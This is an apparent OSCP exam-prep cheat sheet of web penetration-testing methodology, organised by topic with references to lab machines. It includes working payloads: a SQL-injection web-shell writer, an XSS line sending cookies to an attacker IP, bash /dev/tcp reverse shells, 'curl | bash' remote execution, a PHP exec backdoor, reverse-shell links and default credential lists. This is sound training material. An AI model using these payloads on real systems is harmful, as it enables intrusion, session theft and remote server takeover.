Overview

2021年9月2日 17:20

Even though OSCP is not completely based on Web penetration testing, it is obviously that **most of machines** are **Web-related**. Even if a web application could be a **rabbit hole** in a machine, we still need to enumerate it for some time. Therefore, I think it is necessary to create a brand-new note for Web penetration testing within **OSCP scope**

Manual Access

2021年9月2日 17:27

1: Check if it is a **HTTP** or **HTTPS** service. If it is HTTPS, check its **certificate**.
2: If necessary, enumerate its **sub-domains**, add **virtual host** to **/etc/hosts**
3: Access target URL in a **browser**, both **Chrome** and **Firefox**

OSINT

2021年9月2日 17:28

1: Check its content, such as **blogs**, **comments**, **user profiles**, etc. If you can find something about **users/members/staff**, create a list of **possible usernames/passwords**
###Ref: **BadCorp**
2: If it uses an **official template**? If so, you can hardly find anything useful. Otherwise, keep enumerating
3: **Theme** and **function** of this application. For **supply chain**? For **medical**? For **device management**? etc.

Source Code

2021年9月2日 17:29

1: **Default value** of an element
2: **Comment**, search for "**<!-**"
3: **Link**, search for "**href**"
4: **Hidden element**. Use **dev-tool** to make it show up
5: Even if a web page looks empty, still remember to check its source code
###Ref: **Gh0st**

Header

2021年9月3日 1:02

1: **Burpsuite** is preferred
2: Check **special header**, which could reveals its **API**
###Ref: **Twiggy**

Directory and File

2021年9月2日 17:27

0: **nikto -h** http://10.10.10.10
1: Combine results of **at least two scanners**
2: **dirb** http://10.10.10.10
3: **gobuster dir -u** http://10.10.10.10 **-w dir.txt -x html,txt,php,aspx,java -t 20**
(**-k**, if **https**)
4: **Hidden** directory
a. **hostname**, **domain**, **username**, **service name** as a directory
###Ref: **Shenzi**
b. Mentioned in **web content**, such as a **blog**
###Ref: **Catto**
c. Search for app's document/github repo
d. **robots.txt**, sitemap
e. Config file
f. From error messages
###Ref: **Medjed, Nappa**
g. **source code**, **comments**
###Ref: **Gh0st, CookieCutter**
h. protected by a **basic auth: gobuster dir -U admin -P admin -u** http://10.10.10.10/private **-w dir.txt -x html,php,aspx,txt -t 20**
###Ref: Phobos

API Endpoint

2021年9月2日 17:29

0: Overall similar to directory and file
1: **wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.10.10/FUZZ/**
2: Mentioned in **web content**
3: In **requests** and **responses**
4: **Source code**, **comments**
###Ref: **Hunit**

Weak Credential

2021年9月2日 17:27

1: Always try **admin:admin** first
2: Google xxx's **default login/credential**
###Ref: **Walla**

Webroot

2021年9月2日 17:30

1: If a web server's webroot share the same directory with **SMB** or **FTP**, and you have **write permission** on it, try to **upload a web shell**
###Ref: **Banzai**
2: On **Linux**, a webroot is often **/var/www/html** or /**var/www/[appname]**
3: Leverage **SQLi** to write a **backdoor** to webroot: **' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'var/www/html/cmd.php' -- -'**
###Ref: **Medjed, Hawat**
4: Retrieve webroot from **error messages**, **phpinfo, etc.**
###Ref: **Medjed**

CGI

2021年9月2日 21:23

1: **Shellshock** vulnerability
###Ref: **Alpha**

Login Bypass

2021年9月2日 17:32

There are multiple ways to **bypass login**
1: **Authentication does not help**, or authentication is **unnecessary** for our **enumeration/exploitation**. This is one of most ideal situation.
2: **Default/Weak credential**. This is also one of most ideal situation.
3: **Guess a credential** based on **OSINT** or **social engineering**. Before guessing, you need to gather some information. Such as admin's nickname, admin's real name, staff's name, service name, application name, etc. They could be potential usernames. For password, it could be the same as username, and don't forget to try some simplest passwords such as password, admin, 123456, qwerty, etc.
###Ref: **BillyBoss**
4: **Register** one
###Ref: **Medjed, Nappa**
5: **Prompts** of **basic authentication**
###Ref: **Walla**
6: Review **source code**, especially **comments**
###Ref: **Nappa**
7: Use **SQLi** to **retrieve** or **overwrite** credential
###Ref: **Medjed**
8: Use **XSS** to **steals cookie**
###Ref: **Megavolt**
9: **Reuse session**
###Ref: **Shifty**
10: **OSINT**, such as **blogs, comments**, etc.
###Ref: **Nappa**
11: **Dictionary** attack, **brute force** attack. Use it as the **last option**. **ZAP** is recommended

File Inclusion

2021年9月2日 17:27

1: If an argument name is like **view, file**, **page**, **skin**, **theme**, **template**, etc., file inclusion is highly possible
2: If LFI is confirmed, try **RFI** as well
3: If RFI does not work, change **HTTP/FTP** protocol to **SMB** protocol.
###Ref: Sniper
4: If RFI really does not exist, use LFI to read some **sensitive files** such as a **config file** which contains **credentials**. Then leverage **harvested credential** for **next exploit**
###Ref: **Muddy**
5: Switch between **absolute path** and **relative path**
###Ref: **G00g**
6: Include **service config files**, such as **/etc/apache2/sites-available/000-default.conf**, **/etc/vsftpd.conf**, etc.
###Ref: **Deployer, G00g**
7: Use **PHP filter** to check **source code:**
http://10.10.10.10?page=php://filter/convert.base64-encode/resource=view.php
###Ref: **G00g**
8: If **XXE** is possible, it can also lead to **LFI**
###Ref: **Muddy**
9: LFI itself does have **some approaches** that lead to **RCE**
10: Some **restriction**, need a little **adjustment** to **file name**, **file extension**, end of file name **(%00)**, etc.
###Ref: **Pain, Gh0st, G00g**

Path Traversal

2021年9月2日 17:35

1: Read **server's file**, such as **/etc/passwd**
###Ref: **Apex**
2: Transfer **inaccessible** file(**backend** file, **authorized-required** file) to accessible directory (File Manager **interface**, **SMB/FTP** share)
###Ref: **Apex**

File Upload

2021年9月2日 17:36

1: Don’t have any restriction: Just upload!
2: Client-Side restriction: Use **burpsuite** to **edit request** and **forward**
###Ref: **Escape**
3: Server-Side restriction: Change **magic number**, **file extend name**, etc
4: Unexploitable restriction: It is a **rabbit hole**
###Ref: **Apex**

XSS

2021年9月2日 17:36

1: Steal admin or other online user's **cookie** to **bypass login**
a: **<script>new Image().src="http://10.10.10.20/file.jpg?cookie="+document.cookie;</script>**,
b: **nc -nlvp 80**
###Ref: **Megavolt**

Command Injection

2021年9月2日 17:42

1: If you can find **source code** to do a **white box** code review
###Ref: **Nickel, Phobos**
2: Fuzz an **API endpoint**
###Ref: **Reconstruction**
3: Fuzz **an argument**. If there is no argument, **guess one**
###Ref: **UC404**

WordPress

2021年9月2日 17:34

1: Default **login path**: /wp-login.php, /wp-login, /wp-admin, /wp-admin.php, /login
2: wpscan
3: **Plugin**, **themes**' exploit
4: Panel RCE (**Apperance**->**Editor**->**404 Template**)
5: Upload a **plugin**
6: Its **config** file (For **PE** stage)

Jenkins

2021年9月2日 17:35

1: **RCE:** create a **new project, build section->execute shell, Build now**

WebDav

2021年9月2日 17:37

1: Use **nikto** to scan
2: **cadaver http://10.10.10.10**
###Ref**: Hutch**
3: **Credential** (If required)
4: **Put/Get** to **upload/download** file

Version Control

2021年9月2日 17:37

Git

1: Find **github repo** of the application you are pentesting
2: Use **git tool** to **reconstruct the project**:
   a. **./gitdumper.sh http://10.10.10.10/.git rep1**
   b. **cd rep1 && git checkout -- .**
###Ref: **Splodge**
3: Show logs: **git logs**
4: Show log of a commit: **git show [commit]**
###Ref: **Develop**

Svn

1: Review **repo's logs**: **svn log --username admin --password admin http://10.10.10.10/svn/rep1**
2: **Compare differences** with previous versions: **svn diff -r 2:1 --username admin --password admin http://10.10.10.10/svn/rep1**
###Ref: **Phobos**

Apache

2021年9月2日 21:19

1: **phpinfo.php**

Tomcat

2021年9月2日 21:19

1: Try to access **/manager**
2: **Default cred:** admin:admin, tomcat:tomcat, admin:NULL, admin:s3cr3t, tomcat:s3cr3t, admin:tomcat
3: Upload **.war** payload

Nginx

2021年9月2日 21:20

1: Check https://book.hacktricks.xyz/pentesting/pentesting-web/nginx

IIS

2021年9月2日 21:20

1: Check and test **asp, aspx, config, php** file extensions
2: **web.config** file

Database

2021年9月3日 11:14

1: **SQLi**
###Ref: **Medjed, Hawat**
2: **Retrieve credential**
###Ref: **Phobos, Medjed**
3: **Overwrite credential** if hash is **unexploitable**
###Ref: **Tico, Dibble**
4: Write a **web shell** to **webroot: ' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'var/www/html/cmd.php' -- -'**
###Ref: **Hawat, Medjed**

Plugin

2021年9月3日 11:15

1: Vulnerable plugin's exploit
###Ref: **Nukem, Tico**
2: Enable a specific **plugin**
###Ref: **Megavolt**

API Hacking

2021年9月2日 17:27

1: Use **burpsuite** to analysis **requests**, **responses,** and **hidden URL** (especially those cannot be **enumerated** by **dirb** or **gobuster**)
2: Enumerate all **endpoints**
###Ref: **Interface, Hunit**
3: Interface, such as **GraphQL interface for Gatsby**
###Ref: **Catto**
4: Official doc
###Ref: **Catto**
5: **Fuzz** API **endpoint** (**http://10.10.10.10/endpoint/FUZZ**) to check **LFI/RFI** and **Command Injection** vulnerability with **filename, command, encoded filename and command**
###Ref: **Reconstruction**

XXE

2021年9月2日 17:31

1: Can be used to **include local file**
###Ref: **Muddy**

SSTI

2021年9月2日 17:31

1: Try payload **cmd={{7*7}}** to detect
###Ref: **CookieCutter**)

SSRF

2021年9月2日 17:31

1: Access **internal web server**
###Ref: **CookieCutter**

SSI

2021年9月2日 17:31

1: Pay attention to **shtml** page
###Ref: **Synapse**

IP Restriction Bypass

2021年9月2日 17:32

1: Add **X-Forwarded-For: 127.0.0.1** header
###Ref: **XPosedAPI**
2: **SSRF**
###Ref: **CookieCutter**

Dependency of Multiple Services

2021年9月2日 17:33

1: Use burpsuite to analysis traffics
###Ref: **Catto**
2: Links pointing to **other ports** in **source codes**
###Ref: **Nickel**
3: **Database**, **memcached** server, etc.
###Ref: **Shifty**
4: Special **request header**
###Ref: **Twiggy**

GraphQL

2021年9月2日 17:34

1: /graphgl, /graphiql, /graphql.php, /graphql/console, **/__graphql**
###Ref: **Catto**
2: **Query**
###Ref: **Catto**

Deserialization

2021年9月2日 17:35

1: Java deserialization
a: Find **input** which can be taken control of
b: Ensure **payload type**
c: Use **ysoserial.jar** to **generate a payload**
###Ref: **Cassios**

2: Python **Pickle** deserialization
###Ref: **Shifty**

3: PHP deserializatioin
###Ref: **Deployer**

Insecure Function

2021年9月2日 17:42

1: **eval()** in **NodeJS** and **Python**
###Ref: **Dibble, Flasky, Hetmit**
2: **preg_replace()** in **PHP**
###Ref: **Splodge**

Rails

2021年9月2日 21:19

1: Access a **non-existed URL** to get **error messages**

Werzeug/Flask

2021年9月2日 21:20

1: If **debug** is enabled, access **/console** and launce **RCE**
2: **eval()**
###Ref: **Flasky, Hetmit**

Browser

2021年9月2日 17:37

1: Combine **Firefox** with **Chrome**
###Ref: **Synapse**
2: Use convenient **add-ons: Wappalyzer, Cookie-Editor, Shodan, Hack-Tools, Foxproxy, etc.**
###Ref: **Flasky, Megavolt**
3: If an exploit is unsuccessfully, switch to **another explorer** (Ref: **Synapse**)
4: Dev Tools
###Ref: **Nappa**

Burpsuite and ZAP

2021年9月2日 17:39

Burpsuite
1: Check special **headers**
###Ref: **Twiggy**
2: **Communication/Dependency** with other **services/ports**
###Ref: **Catto**
3: **Edit request** to bypass **access contro**l
###Ref: **Interface**
4: Like 3, edit request to **impersonate admin** user
###Ref: **Interface**
5: Analyze **API**
###Ref: XPosedAPI, Catto, Hetmit, Nickel, Interface, Hunit

ZAP
1: Like **Burpsuite**
2: When it comes to **brute-forcing**, it has much **higher speed**

Curl

2021年9月2日 17:39

1: Access by **GET** method and check headers: **curl** http://10.10.10.10
2: Submit a **POST** request : **curl -X POST --data "id=123"** http://10.10.10.10
3: Switch between **POST** and **GET** to test **API endpoints**
4: Write a script to **fuzz**
5: **Download** file: **curl** http://10.10.10.10/file **-o file**
6: Execute a **remote script**: **curl** http://10.10.10.10/shell.sh **| bash**

Error Messages

2021年9月2日 21:21

1: **Incorrect padding** ==> Existence of **encoding**, such as **Base64**
2: **No such file or directory** ==> Possible **LFI/RFI**
3: cannot **register** this username ==> This username does **existed**
4: Access a **non-existed URL** ==> Reveal **all paths** (**Rail**)

Encoding

2021年9月2日 21:22

Encode command in HTTP Request

1: Online encoding/decoding: https://www.urlencoder.org/

2: Sometimes, only **some characters** will be encoded

Encode command in Python function

1: Replace '+' with ' '. For example, **sh -i >& /dev/tcp/192.168.49.175/6000 0>&1 ==> sh+-i >& /dev/tcp/192.168.49.175/6000+0>&1**

Encode command in Python function in HTTP Request

1: Use **URL-encoding** first

2: Replace **'%20'** with **'+'.** For example, **sh -i >& /dev/tcp/192.168.49.175/6000 0>&1 ==> sh+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.49.175%2F6000+0%3E%261**

Web Shell

2021年9月2日 21:22

1: PHP generic
One-line backdoor: <?php echo shell exec($_GET['cmd'].' 2>&1');?>
Web backdoor: https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php
Web backdoor2: https://github.com/artyuum/Simple-PHP-Web-Shell/blob/master/index.php

2: PHP for Windows
Reverse Shell: https://github.com/Dhayalanb/windows-php-reverse-shell
Bind Shell: Check **[PHP generic]**

3: PHP for Linux
Reverse Shell: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

4: JSP
Reverse Shell: https://github.com/tennc/webshell/blob/master/jsp/jsp-reverse.jsp

5: ASPX
Reverse Shell: https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx

6: Others
Ruby reverse shell: https://github.com/secjohn/ruby-shells/blob/master/revshell.rb
Ruby bind shell: https://github.com/secjohn/ruby-shells/blob/master/shell.rb

Cryptography

2021年9月2日 21:28

1: Write a **python script**
2: Make use of **online tool**

Unnecessary Authentication

2021年9月2日 17:38

Sometimes, authentication is **unhelpful** or **unnecessary** for our exploit. No need to crack login

Unrelated Content

2021年9月2日 17:39

Web content usually **reveals some important info**. For example, in **"Team"** section, we can harvest possible **usernames of staff**. In a **blog**, we can retrieve some info such as **hidden directory**, a list of **usernames** ,etc. However, if a web application use **official provided template**, it does not help our enumeration